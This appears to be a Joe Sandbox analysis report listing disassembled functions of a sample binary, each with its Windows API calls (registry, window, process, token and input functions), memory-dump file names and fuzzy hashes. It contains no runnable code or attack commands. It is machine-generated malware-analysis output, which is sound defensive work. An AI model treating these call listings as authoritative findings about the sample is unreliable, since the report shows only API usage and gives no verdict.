Part of subcall function 00EE3187: GetProcAddress.KERNEL32(00000000,CreateSemaphoreExW), ref: 00EE9F26
Part of subcall function 00EE3187: GetProcAddress.KERNEL32(00000000,SetThreadStackGuarantee), ref: 00EE9F39
Part of subcall function 00EE3187: GetProcAddress.KERNEL32(00000000,CreateThreadpoolTimer), ref: 00EE9F4C
Part of subcall function 00EE3187: GetProcAddress.KERNEL32(00000000,SetThreadpoolTimer), ref: 00EE9F5F
Part of subcall function 00EE3187: GetProcAddress.KERNEL32(00000000,WaitForThreadpoolTimerCallbacks), ref: 00EE9F72
Part of subcall function 00EE3187: GetProcAddress.KERNEL32(00000000,CloseThreadpoolTimer), ref: 00EE9F85
Part of subcall function 00EE3187: GetProcAddress.KERNEL32(00000000,CreateThreadpoolWait), ref: 00EE9F98
Part of subcall function 00EE3187: GetProcAddress.KERNEL32(00000000,SetThreadpoolWait), ref: 00EE9FAB
Part of subcall function 00EE3187: GetProcAddress.KERNEL32(00000000,CloseThreadpoolWait), ref: 00EE9FBE

__mtinitlocks.LIBCMT ref: 00EE9AEB
__mtterm.LIBCMT ref: 00EE9AF4

Part of subcall function 00EE9B5C: DeleteCriticalSection.KERNEL32(00000000,00000000,?,?,00EE9AF9,00EE7CD0,00F7A0B8,00000014), ref: 00EE9C56
Part of subcall function 00EE9B5C: _free.LIBCMT ref: 00EE9C5D
Part of subcall function 00EE9B5C: DeleteCriticalSection.KERNEL32(00F7EC00,?,?,00EE9AF9,00EE7CD0,00F7A0B8,00000014), ref: 00EE9C7F

__calloc_crt.LIBCMT ref: 00EE9B19
__initptd.LIBCMT ref: 00EE9B3B
GetCurrentThreadId.KERNEL32 ref: 00EE9B42

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: AddressProc$CriticalDeleteSection$CurrentEncodeHandleModulePointerThread__calloc_crt__init_pointers__initp_misc_winsig__initptd__mtinitlocks__mtterm_free
String ID:
API String ID: 3567560977-0
Opcode ID: bd5c20f1ff63ae662c4577a408bd208bf10e82098de0cc5a223d79f96d8f0ff0
Instruction ID: e388c6d857b5a801470f2b1c584a1925bf04976864dd375c2c9916a162ef36fd
Opcode Fuzzy Hash: bd5c20f1ff63ae662c4577a408bd208bf10e82098de0cc5a223d79f96d8f0ff0
Instruction Fuzzy Hash: FAF0963251979D59E77477777C0764A36D19F02738F20262AF558F51D3EF2084414164

Function 00EE406B Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 19libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(combase.dll,00000000,00000800,RoUninitialize,00EE3F85), ref: 00EE4085
GetProcAddress.KERNEL32(00000000), ref: 00EE408C
EncodePointer.KERNEL32(00000000), ref: 00EE4097
DecodePointer.KERNEL32(00EE3F85), ref: 00EE40B2

Strings

RoUninitialize, xrefs: 00EE4074
combase.dll, xrefs: 00EE4080

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: Pointer$AddressDecodeEncodeLibraryLoadProc
String ID: RoUninitialize$combase.dll
API String ID: 3489934621-2819208100
Opcode ID: 6c1a4b9ce1662de40ead0f9701883b1646e7cbb5f431afec2abdfad3a1900cfa
Instruction ID: 54aa45136f84d130829a0f6cb450c525b8b074b1f64f46bd100f2235d9bea6ac
Opcode Fuzzy Hash: 6c1a4b9ce1662de40ead0f9701883b1646e7cbb5f431afec2abdfad3a1900cfa
Instruction Fuzzy Hash: F5E0BF74941708DFEB509F61EC0DB653AA4B716F46F104125F905E11F0CBB68608FB15

Function 00F264B8 Relevance: 9.2, APIs: 6, Instructions: 205COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00F2660B
_memmove.LIBCMT ref: 00F26546

Part of subcall function 00EC9837: __itow.LIBCMT ref: 00EC9862
Part of subcall function 00EC9837: __swprintf.LIBCMT ref: 00EC98AC

_memmove.LIBCMT ref: 00F265B9
_memmove.LIBCMT ref: 00F266A0
_memmove.LIBCMT ref: 00F266B9
_memmove.LIBCMT ref: 00F266D5

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: _memmove$__itow__swprintf
String ID:
API String ID: 3253778849-0
Opcode ID: 3f03857a6e89d49d2b23adb80710b0c1c05ec5fd0e72f6afcc0fdb021d4ac1ae
Instruction ID: 0233601dc8d1ac24594fb41736ff4bab3ef7345ac539e7e0e2ea20f3877d29aa
Opcode Fuzzy Hash: 3f03857a6e89d49d2b23adb80710b0c1c05ec5fd0e72f6afcc0fdb021d4ac1ae
Instruction Fuzzy Hash: 6261AD3190026A9BCF05EF60CD86FFE3BA5AF04318F044528F855AB292DB75EC46DB50

Function 00F401E4 Relevance: 9.2, APIs: 6, Instructions: 167registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00EC7DE1: _memmove.LIBCMT ref: 00EC7E22

Part of subcall function 00F40E1A: CharUpperBuffW.USER32(?,?,?,?,?,?,?,00F3FDAD,?,?), ref: 00F40E31

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00F402BD
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00F402FD
RegCloseKey.ADVAPI32(?,00000001,00000000), ref: 00F40320
RegEnumValueW.ADVAPI32(?,-00000001,?,?,00000000,?,00000000,00000000), ref: 00F40349
RegCloseKey.ADVAPI32(?,?,00000000), ref: 00F4038C
RegCloseKey.ADVAPI32(00000000), ref: 00F40399

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: Close$BuffCharConnectEnumOpenRegistryUpperValue_memmove
String ID:
API String ID: 4046560759-0
Opcode ID: 0f79fab8de38b01a27b644bef519fd3047d0436f3e206508a9a96f242e17be1b
Instruction ID: a0f34869991a9c8dd689b120a56f7a2ea1b251b13e4ac6a33290fb859b08a6b9
Opcode Fuzzy Hash: 0f79fab8de38b01a27b644bef519fd3047d0436f3e206508a9a96f242e17be1b
Instruction Fuzzy Hash: 49518831608304AFC700EF64C985E6EBBE9FF85314F04492DF995972A2DB32E945EB52

Function 00F45799 Relevance: 9.2, APIs: 6, Instructions: 160windowCOMMON

Download Yara Rule

APIs

GetMenu.USER32(?), ref: 00F457FB
GetMenuItemCount.USER32(00000000), ref: 00F45832
GetMenuStringW.USER32(00000000,00000000,?,00007FFF,00000400), ref: 00F4585A
GetMenuItemID.USER32(?,?), ref: 00F458C9
GetSubMenu.USER32(?,?), ref: 00F458D7
PostMessageW.USER32(?,00000111,?,00000000), ref: 00F45928

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: Menu$Item$CountMessagePostString
String ID:
API String ID: 650687236-0
Opcode ID: 15e6c9a9b27f31163beb2be8c17ba7dce7806799b586fdc58fc32651209ff989
Instruction ID: 2e8d0fda8ee11329a11d4837fb42f879685088d86854991e1b5797cc0c70a22d
Opcode Fuzzy Hash: 15e6c9a9b27f31163beb2be8c17ba7dce7806799b586fdc58fc32651209ff989
Instruction Fuzzy Hash: A4514B36E00619AFCF15EF64C845AAEBBB4EF48720F104069EC05BB352DB75AE419B90

Function 00F1EEEC Relevance: 9.2, APIs: 6, Instructions: 159COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00F1EF06
VariantClear.OLEAUT32(00000013), ref: 00F1EF78
VariantClear.OLEAUT32(00000000), ref: 00F1EFD3
_memmove.LIBCMT ref: 00F1EFFD
VariantClear.OLEAUT32(?), ref: 00F1F04A
VariantChangeType.OLEAUT32(?,?,00000000,00000013), ref: 00F1F078

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: Variant$Clear$ChangeInitType_memmove
String ID:
API String ID: 1101466143-0
Opcode ID: 66cd33411b9e8a5924380109eadfa056e18220c01fbb8302e9e4d58841b9110c
Instruction ID: b9e57de81ad0d8b658d034a2d56426add327f3175338914c4557a57a18b6fc40
Opcode Fuzzy Hash: 66cd33411b9e8a5924380109eadfa056e18220c01fbb8302e9e4d58841b9110c
Instruction Fuzzy Hash: 375166B5A00209EFDB10CF58C880AAAB7F8FF4C314B15856AED49DB315E731E955CBA0

Function 00F2220A Relevance: 9.1, APIs: 6, Instructions: 138windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00F22258
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00F222A3
IsMenu.USER32(00000000), ref: 00F222C3
CreatePopupMenu.USER32 ref: 00F222F7
GetMenuItemCount.USER32(000000FF), ref: 00F22355
InsertMenuItemW.USER32(00000000,?,00000001,00000030), ref: 00F22386

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: Menu$Item$CountCreateInfoInsertPopup_memset
String ID:
API String ID: 3311875123-0
Opcode ID: 68fc0a1f30a0805e2e08405b2c6008ea87bd76fcd790a9f72e3a1fd54a52873f
Instruction ID: 4e56bf0f2ee7b4642eec610bf889e4a63f267afec6dddeef943f08711a7efe3a
Opcode Fuzzy Hash: 68fc0a1f30a0805e2e08405b2c6008ea87bd76fcd790a9f72e3a1fd54a52873f
Instruction Fuzzy Hash: B551C130A00269FFDF61CF68E988BADBBF5BF05324F144129E8159B290D3788D04EB51

Function 00EC1765 Relevance: 9.1, APIs: 6, Instructions: 113COMMON

Download Yara Rule

APIs

Part of subcall function 00EC2612: GetWindowLongW.USER32(?,000000EB), ref: 00EC2623

BeginPaint.USER32(?,?,?,?,?,?), ref: 00EC179A
GetWindowRect.USER32(?,?), ref: 00EC17FE
ScreenToClient.USER32(?,?), ref: 00EC181B
SetViewportOrgEx.GDI32(00000000,?,?,00000000), ref: 00EC182C
EndPaint.USER32(?,?), ref: 00EC1876

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: PaintWindow$BeginClientLongRectScreenViewport
String ID:
API String ID: 1827037458-0
Opcode ID: b33eaf41549d9c640adee9abc5d8b47565a36d52e0cadb18b9af9cc792cc6e77
Instruction ID: 488704eecc6e39340104eaba62ccac66eb6f922513ccc56a2042b7d6f297c441
Opcode Fuzzy Hash: b33eaf41549d9c640adee9abc5d8b47565a36d52e0cadb18b9af9cc792cc6e77
Instruction Fuzzy Hash: FC41B2351043449FD710DF24CC84FBA7BE8FB56764F0446ADFAA8971A2C7319846EB62

Function 00F4B69E Relevance: 9.1, APIs: 6, Instructions: 109windowCOMMON

Download Yara Rule

APIs

ShowWindow.USER32(00F857B0,00000000,01445CF8,?,?,00F857B0,?,00F4B5A8,?,?), ref: 00F4B712
EnableWindow.USER32(00000000,00000000), ref: 00F4B736
ShowWindow.USER32(00F857B0,00000000,01445CF8,?,?,00F857B0,?,00F4B5A8,?,?), ref: 00F4B796
ShowWindow.USER32(00000000,00000004,?,00F4B5A8,?,?), ref: 00F4B7A8
EnableWindow.USER32(00000000,00000001), ref: 00F4B7CC
SendMessageW.USER32(?,0000130C,?,00000000), ref: 00F4B7EF

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: Window$Show$Enable$MessageSend
String ID:
API String ID: 642888154-0
Opcode ID: 76a2bfd6c16627d35b55ff8a6da456e880f4a38c00d60c0c5fd089c254e3e9d4
Instruction ID: 70694120f204fcd9adfb2d15c93d15dca8e0c8091f6e58ead1973df22026f04a
Opcode Fuzzy Hash: 76a2bfd6c16627d35b55ff8a6da456e880f4a38c00d60c0c5fd089c254e3e9d4
Instruction Fuzzy Hash: D0414D34A01244AFDB26CF24C599B957FE1FB45320F1841B9EE488F6A3C731E856EB51

Function 00F3709E Relevance: 9.1, APIs: 6, Instructions: 97COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32(?,?,?,?,?,?,00F34E41,?,?,00000000,00000001), ref: 00F370AC

Part of subcall function 00F339A0: GetWindowRect.USER32(?,?), ref: 00F339B3

GetDesktopWindow.USER32 ref: 00F370D6
GetWindowRect.USER32(00000000), ref: 00F370DD
mouse_event.USER32(00008001,?,?,00000001,00000001), ref: 00F3710F

Part of subcall function 00F25244: Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 00F252BC

GetCursorPos.USER32(?), ref: 00F3713B
mouse_event.USER32(00008001,?,?,00000000,00000000), ref: 00F37199

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: Window$Rectmouse_event$CursorDesktopForegroundSleep
String ID:
API String ID: 4137160315-0
Opcode ID: 1e63fbef31ff725f6b27bf12a4d4ac5580f5198c6faa3f612530e48878cc2f18
Instruction ID: 9030a5cfcac66fb29bebe66ce2a33be4c3573bf92da0e4228133040f6315947e
Opcode Fuzzy Hash: 1e63fbef31ff725f6b27bf12a4d4ac5580f5198c6faa3f612530e48878cc2f18
Instruction Fuzzy Hash: 2231E472509309ABD720EF14DC49F9BB7EAFF89324F000919F98997191C734EA09DB92

Function 00F18879 Relevance: 9.1, APIs: 6, Instructions: 69memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00F180A9: GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 00F180C0
Part of subcall function 00F180A9: GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 00F180CA
Part of subcall function 00F180A9: GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 00F180D9
Part of subcall function 00F180A9: HeapAlloc.KERNEL32(00000000,?,00000002,?,00000000,?), ref: 00F180E0
Part of subcall function 00F180A9: GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 00F180F6

GetLengthSid.ADVAPI32(?,00000000,00F1842F), ref: 00F188CA
GetProcessHeap.KERNEL32(00000008,00000000), ref: 00F188D6
HeapAlloc.KERNEL32(00000000), ref: 00F188DD
CopySid.ADVAPI32(00000000,00000000,?), ref: 00F188F6
GetProcessHeap.KERNEL32(00000000,00000000,00F1842F), ref: 00F1890A
HeapFree.KERNEL32(00000000), ref: 00F18911

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: Heap$Process$AllocInformationToken$CopyErrorFreeLastLength
String ID:
API String ID: 3008561057-0
Opcode ID: 6194d433288445be92ab9b4eaac0405fca13a0a753b77becc81660179e4fa6d9
Instruction ID: 63db387e9fa9bd17f983c17f980975b577a54e59628cc130c6836c9e54a3dae4
Opcode Fuzzy Hash: 6194d433288445be92ab9b4eaac0405fca13a0a753b77becc81660179e4fa6d9
Instruction Fuzzy Hash: 0F11B136901209FFDB109FA4DD09BFF7BACEB85365F504068E84997111CB329D86EB60

Function 00F185B1 Relevance: 9.1, APIs: 6, Instructions: 65processCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(0000000A,00000004), ref: 00F185E2
OpenProcessToken.ADVAPI32(00000000), ref: 00F185E9
CreateEnvironmentBlock.USERENV(?,00000004,00000001), ref: 00F185F8
CloseHandle.KERNEL32(00000004), ref: 00F18603
CreateProcessWithLogonW.ADVAPI32(?,?,?,00000000,00000000,?,?,00000000,?,?,?), ref: 00F18632
DestroyEnvironmentBlock.USERENV(00000000), ref: 00F18646

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: Process$BlockCreateEnvironment$CloseCurrentDestroyHandleLogonOpenTokenWith
String ID:
API String ID: 1413079979-0
Opcode ID: 74d9406e59029bf3c4677e2992c16fcf7dba0e2cb7d1535f66cb3dbc3545ed76
Instruction ID: 4c1a3679a26e2951a18c4b8327b64187e07303687fe3c9575e7c1901b1f39443
Opcode Fuzzy Hash: 74d9406e59029bf3c4677e2992c16fcf7dba0e2cb7d1535f66cb3dbc3545ed76
Instruction Fuzzy Hash: 9E117F7650020DABDF11CFA4DD49FDE7BA9EF49364F044064FE05A2160C7758DA5EB60

Function 00F1B790 Relevance: 9.0, APIs: 6, Instructions: 49COMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 00F1B7B5
GetDeviceCaps.GDI32(00000000,00000058), ref: 00F1B7C6
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00F1B7CD
ReleaseDC.USER32(00000000,00000000), ref: 00F1B7D5
MulDiv.KERNEL32(000009EC,?,00000000), ref: 00F1B7EC
MulDiv.KERNEL32(000009EC,?,?), ref: 00F1B7FE

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: CapsDevice$Release
String ID:
API String ID: 1035833867-0
Opcode ID: 92619ff2ad6e9a23194b278ed97da2891906024cca0a0bc654cbfb5b854515ea
Instruction ID: 21fafdf7fe44c531259a31eb56aa159553253d5fa818adb6dc46a408c6b3867a
Opcode Fuzzy Hash: 92619ff2ad6e9a23194b278ed97da2891906024cca0a0bc654cbfb5b854515ea
Instruction Fuzzy Hash: EC018475E00319BBEB10ABB69C45A5EBFB8EB59361F044075FE08E7291D6309C00DF90

Function 00EE0162 Relevance: 9.0, APIs: 6, Instructions: 44keyboardCOMMON

Download Yara Rule

APIs

MapVirtualKeyW.USER32(0000005B,00000000), ref: 00EE0193
MapVirtualKeyW.USER32(00000010,00000000), ref: 00EE019B
MapVirtualKeyW.USER32(000000A0,00000000), ref: 00EE01A6
MapVirtualKeyW.USER32(000000A1,00000000), ref: 00EE01B1
MapVirtualKeyW.USER32(00000011,00000000), ref: 00EE01B9
MapVirtualKeyW.USER32(00000012,00000000), ref: 00EE01C1

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: Virtual
String ID:
API String ID: 4278518827-0
Opcode ID: 8c956c1d0cf7e49901ae657e6a01c2afc6700147b845b36233f0493b548a2c0a
Instruction ID: 6b3aa5ccf6a1b685fff09fd34ba6d44bd54969793ea8f6d213aff22667568bd6
Opcode Fuzzy Hash: 8c956c1d0cf7e49901ae657e6a01c2afc6700147b845b36233f0493b548a2c0a
Instruction Fuzzy Hash: C5016CB09027597DE3008F5A8C85B52FFA8FF19354F00411BA15C47941C7F5A868CBE5

Function 00F253E9 Relevance: 9.0, APIs: 6, Instructions: 43windowtimethreadCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,00000000), ref: 00F253F9
SendMessageTimeoutW.USER32(?,00000010,00000000,00000000,00000002,000001F4,?), ref: 00F2540F
GetWindowThreadProcessId.USER32(?,?), ref: 00F2541E
OpenProcess.KERNEL32(001F0FFF,00000000,?,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 00F2542D
TerminateProcess.KERNEL32(00000000,00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 00F25437
CloseHandle.KERNEL32(00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 00F2543E

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: Process$Message$CloseHandleOpenPostSendTerminateThreadTimeoutWindow
String ID:
API String ID: 839392675-0
Opcode ID: 8af4022a41d75791048a11a205ebcc1f4dfb594d7a489c058dff46662b1553a7
Instruction ID: 410fa040680bcd6a1b8545ef97826273d2021843deb5a8bd8a3588f85d5b9305
Opcode Fuzzy Hash: 8af4022a41d75791048a11a205ebcc1f4dfb594d7a489c058dff46662b1553a7
